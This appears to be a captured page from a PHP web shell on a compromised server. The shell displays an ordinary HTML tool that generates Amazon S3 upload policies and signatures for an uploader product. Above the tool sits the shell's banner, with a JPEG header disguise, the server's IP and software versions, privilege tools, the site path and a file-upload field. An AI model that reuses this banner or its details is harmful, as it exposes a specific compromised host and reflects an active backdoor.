????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.189.141.66 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/project/universal_old/ |
Upload File : |
<!-- saved from url=(0014)about:internet --> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Amazon S3 policy and signature generator</title> <link rel="stylesheet" href="styles.css"> <script type="text/javascript" src="Extra/sha1.js"></script> <script type="text/javascript" src="Extra/base64.js"></script> </head> <body> Sample: <b>amazons3generator.html</b> <a href="javascript:location.reload(true);"><img border="0" src="images/refresh.png" width="16" height="16"> Refresh frame</a> <a target="_parent" href="index.html"><img border="0" src="images/home.png" width="16" height="16"> Examples home</a><br/> <br/> <!-- text below wil be shown if JavaScript disabled at browser --> <span id="noscriptdiv" style="border:1px solid #FF0000;display:block;padding:5px;text-align:left; background: #FDF2F2;color:#000;">Active Scripting (JavaScript) should be enabled in your browser for this application to function properly!</span> <script type="text/javascript"> document.getElementById('noscriptdiv').style.visibility = 'hidden'; document.getElementById('noscriptdiv').style.height = 0; document.getElementById('noscriptdiv').style.padding = 0; document.getElementById('noscriptdiv').style.border = 0; </script> <p> <script type="text/javascript"> function generatePolicy () { var s3keyId = document.getElementById("s3keyId").value; var s3Secret = document.getElementById("s3Secret").value; var s3bucket = document.getElementById("s3bucket").value; var expYear = document.getElementById("expYear").value; if(!s3keyId || !s3Secret || !s3bucket || !expYear) { alert("Please fill all required fields (marked with *) and try again!"); return ; } var s3policy = "{\n 'expiration': '"+expYear+"-01-01T12:00:00.000Z',\n"+ " 'conditions': [\n"+ " {'bucket': '"+s3bucket+"'},\n"+ " ['starts-with', '$Filename', ''],\n"+ " ['starts-with', '$key', ''],\n"+ " ['starts-with', '$acl', ''],\n"+ " ['starts-with', '$Content-Type', ''],\n"+ " ['eq', '$success_action_status', '201']\n"+ " ]\n"+ "}"; document.getElementById("policy_sign").value = s3policy; var s3policyenc = Base64.encode(document.getElementById("policy_sign").value); var signature = b64_hmac_sha1(s3Secret, s3policyenc)+'='; document.getElementById("policy").innerHTML = s3policyenc; document.getElementById("signature").innerHTML = signature; var uu_code = '<pre>url : "'+buildUrl(s3bucket)+'",<br>'; uu_code += 'amazonS3 : <br>' uu_code += '{ <br>' uu_code += ' accessKeyId: "'+s3keyId+'",<br>'; uu_code += ' policy : "'+encodeURIComponent(s3policyenc)+'",<br>'; uu_code += ' signature : "'+encodeURIComponent(signature)+'",<br>'; uu_code += ' acl: "'+document.getElementById("acl").value+'",<br>'; uu_code += ' key: "'+encodeURIComponent(document.getElementById("folder").value+'/<FILENAME>')+'"<br>'; uu_code += '}<br></pre>' document.getElementById("mpu_code").innerHTML = uu_code; } function buildUrl(bucket) { var canUseVanity = canUseVanityStyle(bucket); var postUrl = "http://"; var amazonServer = "s3.amazonaws.com"; if(canUseVanity) { postUrl += bucket + "." + amazonServer; } else { postUrl += amazonServer + "/" + bucket; } return postUrl; } function canUseVanityStyle(bucket) { if( bucket.length < 3 || bucket.length > 63 || bucket.match(/^\./) || bucket.match(/\.$/) ) { return false; } // must be lower case if(bucket.toLowerCase() != bucket) { return false; } // Check not IPv4-like if (bucket.match(/^[0-9]|\+\.[0-9]|\+\.[0-9]|\+\.[0-9]|\+$/)) { return false; } // Check each label if(bucket.match(/\./)) { var labels = bucket.split(/\./); for (var i = 0;i < labels.length; i++) { if(!labels[i].match(/^[a-z0-9]([a-z0-9\-]*[a-z0-9])?$/)) { return false; } } } return true; } </script> This page help you to configure UniversalUploader to upload files directly to Amazon Simple Storage Service (S3). </p> <p>Please note, that you should put <strong>crossdomain.xml</strong> file at the root of your bucket in order to allow Flash and Java uploaders upload files into this bucket. <br /> And for HTML5 based uploader you should enable <a href="http://docs.aws.amazon.com/AmazonS3/latest/dev/cors.html">CORS</a> resouce sharing.For step-by-step instructions, see <a href="http://docs.amazonwebservices.com/AmazonS3/latest/UG/EditingBucketPermissions.html" target="_blank">Editing Bucket Permissions</a> in the <em>Amazon S3 Console User Guide</em></p> <p>Required fields marked with *. </p> <label> Input your <strong>Amazon S3 Access Key ID*</strong>:<br> <input name="textfield" type="text" id="s3keyId" size="50"> </label> <br> <label> Input your <strong>Amazon S3 Secret Access Key*</strong>:<br> <input name="textfield" type="text" id="s3Secret" size="50"> </label> <br> <label> Input <strong>bucket name*</strong>:<br> <input name="textfield" type="text" id="s3bucket" size="50"> </label> <br> <br> <label> Input <strong>expiration year*</strong>:<br> <input name="textfield" type="text" id="expYear" size="4" value="2020"> </label> <br> <label> Input <strong>default acl</strong> for uploaded files (optional). <br> By default 'public-read' used:<br> <select id='acl'> <option value="private">private</option> <option value="public-read" selected>public-read</option> <option value="public-read-write">public-read-write</option> <option value="authenticated-read">authenticated-read</option> </select> </label> <br> <label> <strong>Folder</strong> in bucket where uploaded files should be stored (optional):<br> <input name="textfield" type="text" id="folder" size="50"> </label> <p>Here is your policy to sign:</p> <p> <textarea id="policy_sign" cols="100" rows="10"> </textarea> </p> <p> <input name="button" type="button" onClick="generatePolicy()" value="Generate S3 Policy and Signature"> </p> <p><br> Here is your policy: </p> <div id="policy"> </div> <hr> Here is your signature: <div id="signature"> </div> <hr> <h2><strong>Here is code for UniversalUploader </strong> (You should copy that code and paste into page with uploader) </h2> <div id="mpu_code"> </div> </body> </html>